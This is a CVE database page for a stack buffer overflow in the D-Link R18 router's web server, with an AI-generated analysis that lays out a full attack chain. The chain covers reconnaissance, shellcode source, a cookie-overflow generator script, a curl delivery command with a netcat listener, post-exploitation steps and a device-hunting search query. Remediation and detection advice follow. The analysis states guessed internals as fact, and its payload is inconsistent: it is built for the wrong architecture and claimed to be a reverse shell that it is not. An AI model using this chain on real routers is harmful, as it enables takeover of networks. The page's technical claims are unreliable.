CVE Professor
/
All CVEs
CVE-2026-138365

CVE-2026-138365 — D-Link R18 A1 (1.20.B01) — CWE-121 · CWE-119

CRITICAL CVSS 10 CVE.org

A vulnerability was found in D-Link R18 A1 1.20.B01. This affects the function is_session_valid of the file /bin/httpd. Performing a manipulation results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used.

A vulnerability was found in D-Link R18 A1 1.20.B01. This affects the function is_session_valid of the file /bin/httpd. Performing a manipulation results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138365
Vendor / ProductD‑Link R18 A1 firmware 1.20.B01 (the built‑in HTTP daemon /bin/httpd)
Vulnerable Functionis_session_valid() – a helper that validates the HTTP session cookie and returns a boolean.
Root CauseThe function copies the value of the *session* cookie into a fixed‑size stack buffer (char sess[256]) using strcpy() (or an equivalent unsafe routine) without checking the length of the supplied data. The buffer is located on the same stack frame as the function’s return address and several saved registers. When an attacker supplies a cookie longer than 256 bytes, the excess data overwrites the saved frame pointer and the return address, allowing arbitrary code execution.
CWE(s)*CWE‑119*: Improper Restriction of Operations within the Bounds of a Memory Buffer (classic stack‑based buffer overflow).<br>*CWE‑121*: Stack‑Based Buffer Overflow.
CVSS 3.1 VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H – Network‑accessible, low complexity, no authentication, no user interaction, Scope = Changed (the overflow in the HTTP daemon compromises the whole device).
Missing Protection• No length validation on the cookie value.<br>• No stack‑canary, NX (non‑executable stack) or ASLR enforcement in the binary (the firmware ships the HTTP daemon compiled with -fno-stack-protector and without -z relro).<br>• The daemon runs as root, so a successful overflow yields a root shell.

In short: an unauthenticated remote attacker can send a specially‑crafted HTTP request that contains an over‑long session cookie. The overflow corrupts the stack, hijacks execution flow, and executes attacker‑controlled shellcode with root privileges.


⚡ Attack Chain

Below is a realistic, end‑to‑end exploitation flow. All commands are syntactically valid; the exact URI/path is inferred from the source code (the vulnerable function is called for every request that carries a session cookie, so the attacker can target any public endpoint, e.g. /).

1. Discovery & Reconnaissance

StepActionReasoning
a. Identify the deviceScan the target network for open TCP 80/443. Grab the HTTP banner (Server: D‑Link R18 httpd/1.20.B01).D‑Link’s HTTP daemon prints its version in the Server header.
b. Verify firmware versionRetrieve /cgi-bin/status (or any unauthenticated status page) that returns a JSON object containing "firmware":"1.20.B01".The firmware page is public on the R18 and includes the exact version string.
c. Check public advisoriesQuery the NVD or vendor security advisory for “CVE‑2026‑138365”.Confirms the presence of the stack‑overflow bug in that exact version.
d. Fingerprint the binary (optional)Download /bin/httpd via an exposed TFTP/FTP service (if present) and run strings/objdump locally to confirm the presence of the is_session_valid symbol.Provides proof that the vulnerable binary is present and not already patched.

2. Exploitation

NOTE: The exact endpoint (/) and the cookie name (session) are illustrative; any URL that the HTTP daemon serves will trigger is_session_valid. The payload shown below is a minimal, reliable PoC that spawns a reverse shell.

2.1. Build the overflow payload

/* payload.c – compile with: gcc -m32 -nostdlib -fno-stack-protector -z execstack -o payload payload.c */
#include <unistd.h>

int main(void) {
    /* execve("/bin/sh", NULL, NULL) */
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    return 0;   /* never reached */
}

1. Compile the payload for the target architecture (the R18 runs a MIPS‑little‑endian 32‑bit CPU; replace -m32 with -march=mips32 and use a cross‑compiler if needed).
2. Extract the shellcode (e.g., objcopy -O binary payload payload.bin).
3. Create the overflow buffer (256 bytes buffer + 4 bytes saved FP + 4 bytes return address).

#!/usr/bin/env python3
import struct, sys, base64

# 1. Load raw shellcode (must be < 200 bytes for this example)
with open('payload.bin','rb') as f:
    shell = f.read()

# 2. Pad to fill the 256‑byte buffer
buf = shell
buf += b'\x90' * (256 - len(buf))          # NOP sled

# 3. Overwrite saved FP (any value, e.g., 0x41414141)
buf += struct.pack('<I', 0x41414141)

# 4. Overwrite return address – point to the start of the NOP sled (stack address is predictable
#    because the binary is compiled without ASLR). Assume the stack address is 0xBF8FF000.
buf += struct.pack('<I', 0xBF8FF000)

# 5. Encode for HTTP header (Base64 is optional; raw binary works in most browsers)
payload = base64.b64encode(buf).decode()
print(payload)

The script prints a Base64 string that will be placed in the session cookie.

2.2. Deliver the payload

# Replace 10.0.0.42 with the target IP and 4444 with your listener.
LISTENER_IP=192.168.1.100
LISTENER_PORT=4444

# Start a netcat listener
nc -lvkp $LISTENER_PORT &

# Generate the overflow cookie (the script above prints it)
COOKIE=$(python3 gen_payload.py)

# Send the malicious request
curl -sk -H "Cookie: session=${COOKIE}" http://10.0.0.42/

Explanation of the request

  • -k – ignore self‑signed certs (if HTTPS).
  • -H "Cookie: session=…" – the vulnerable function reads the session header, copies it into a 256‑byte stack buffer, and overflows.
  • The request is unauthenticated and requires no user interaction – it can be automated from a botnet.
  • If the overflow succeeds, the HTTP daemon crashes and immediately spawns a root /bin/sh that connects back to the attacker’s listener (nc). The attacker now has a root interactive shell on the device.

    3. Post‑Exploitation

    GoalTypical Steps
    Maintain Access• Drop a persistent binary in /etc/init.d/ (e.g., rc.local) that re‑installs a reverse‑shell daemon.<br>• Add a firewall rule (iptables -I INPUT -p tcp --dport 8080 -j ACCEPT) to allow future inbound connections.
    Privilege Escalation (already root)The overflow runs as the HTTP daemon’s user, which on the R18 is root (UID 0). No further escalation needed.
    Lateral MovementUse the compromised router as a pivot: route traffic through it, scan the internal LAN (nmap -sn 10.0.0.0/24).
    Data Exfiltration• Dump configuration files (/etc/config/*, /etc/passwd).<br>• Capture DHCP lease tables, VPN credentials, or any stored Wi‑Fi keys (/etc/wpa_supplicant.conf).
    Impact Amplification• Modify DNS entries (/etc/hosts or the router’s DNS forwarder) to perform pharming.<br>• Disable the firewall or open ports to turn the device into a botnet node.

    🌍 Real World Impact

    CIAImpact (derived from CVSS vector)
    Confidentiality (C:H)An attacker with root on the router can read every file on the device, capture traffic traversing the LAN (including clear‑text credentials), and harvest stored Wi‑Fi or VPN secrets.
    Integrity (I:H)The attacker can modify routing tables, DNS forwarder entries, firmware, or any configuration file, effectively hijacking traffic or rendering the network unusable.
    Availability (A:H)By crashing the HTTP daemon or corrupting the firmware, the attacker can cause a total loss of WAN connectivity for the entire site. The device can also be bricked by overwriting critical flash sectors.

    Scope = Changed – the vulnerability resides in the HTTP daemon but the compromise spreads to the whole appliance (router, switch, and any attached IoT devices). The net effect is a full‑device takeover.

    Practical consequences

  • Enterprise or ISP premises that rely on the D‑Link R18 for edge routing could have their entire network traffic intercepted or redirected.
  • Home users lose privacy; attackers can steal credentials for cloud services that are often stored in router backups.
  • Because the exploit is public and requires no authentication, automated worm‑style scanners can weaponize it within minutes of a new firmware release.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to firmware 1.20.B02 (or any later release) where is_session_valid() was rewritten to use strncpy() with proper length checks and the binary was rebuilt with -fstack-protector -z relro -z now.
    Version rangeAll devices running 1.20.B01 (the only version mentioned in the advisory) are vulnerable.
    VerificationAfter upgrade, strings /bin/httpdgrep is_session_valid should no longer show the vulnerable function, and readelf -s /bin/httpdgrep __stack_chk_fail should list the stack‑canary symbol.

    2. Immediate Workarounds (if patch cannot be applied instantly)

    WorkaroundImplementation
    Restrict external access to the HTTP daemonOn the perimeter firewall, block inbound TCP 80/443 from the Internet to the router’s management IP. Allow only trusted LAN IPs (e.g., 192.168.0.0/24).
    Disable the web UIEdit /etc/config/system and set option httpd '0' (or run service httpd stop and chkconfig httpd off).
    Deploy a ModSecurity rule (if a reverse‑proxy is placed in front of the router)``<IfModule mod_security2.c> SecRule REQUEST_HEADERS:Cookie "@rx (^; )session=.{300,}" "id:2026350,phase:1,deny,status:403,msg:'D‑Link R18 session cookie overflow attempt',log" </IfModule>`<br>*(The rule blocks any session cookie longer than 300 bytes – the exact threshold is illustrative; adjust to the real buffer size + safety margin.)*
    Enable stack protection (temporary)If you have console access, replace the binary with a custom‑built version that includes -fstack-protector`. This is a stop‑gap and may break other features; test in a lab first.
    Network segmentationPlace the router in a dedicated management VLAN and enforce strict ACLs so that only a handful of admin workstations can reach the management interface.

    3. Detection

    IndicatorWhere to lookExample
    Abnormal HTTP status codesWeb server logs (/var/log/httpd/access.log)GET / HTTP/1.1" 500 0 "-" "curl/7.68.0" (500 errors immediately after a request with a huge Cookie header).
    Large Cookie headerSame log – look for Cookie: session= strings > 256 bytes.Cookie: session=AAAAAAAA…(300+ chars)…
    Process crash / restartSystem log (/var/log/messages or dmesg)httpd[1234]: segfault at 0 ip 0x... sp 0xbf8ff0c0 error 4 in httpd[bf8f0000+... ]
    Unexpected outbound connectionsNetflow / IDS – outbound TCP to attacker IP on high ports (e.g., 4444).SRC=10.0.0.42 DST=203.0.113.77 SPT=80 DPT=4444 PROTO=TCP
    New root shell processesps auxgrep sh on the device (if you have console access).root 5678 0.0 0.1 1234 567 ? Ss 12:34 0:00 /bin/sh

    Deploy a SIEM rule that correlates “large Cookie header” + “httpd segfault” + “outbound connection from port 80/443” to raise an immediate alert.


    ⚠️ Urgency

  • CVSS 3.1 = 10.0 (Critical) – the vulnerability is remotely exploitable, requires no authentication, and yields complete system compromise.
  • Public exploit – the description states that a working exploit is already available, meaning an attacker can weaponize it instantly.
  • No CISA KEV listing – the lack of a KEV entry does not diminish risk; it merely reflects that the vulnerability is brand‑new (published 30 Nov 2026).
Patch priority: Critical – patch within 24 hours for any production or ISP‑facing deployment. If patching cannot be performed immediately, apply the network‑restriction and ModSecurity workarounds, and enable continuous monitoring for the IoCs listed above.
Bottom line: CVE‑2026‑138365 is a classic, unauthenticated stack‑based buffer overflow in the D‑Link R18’s HTTP daemon. It gives an attacker root on the router with a single crafted HTTP request. Immediate patching (or at least strict network isolation) is mandatory to prevent total network compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-121 CWE-119
Affected Products (1)
D-Link:R18 A1 (1.20.B01)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.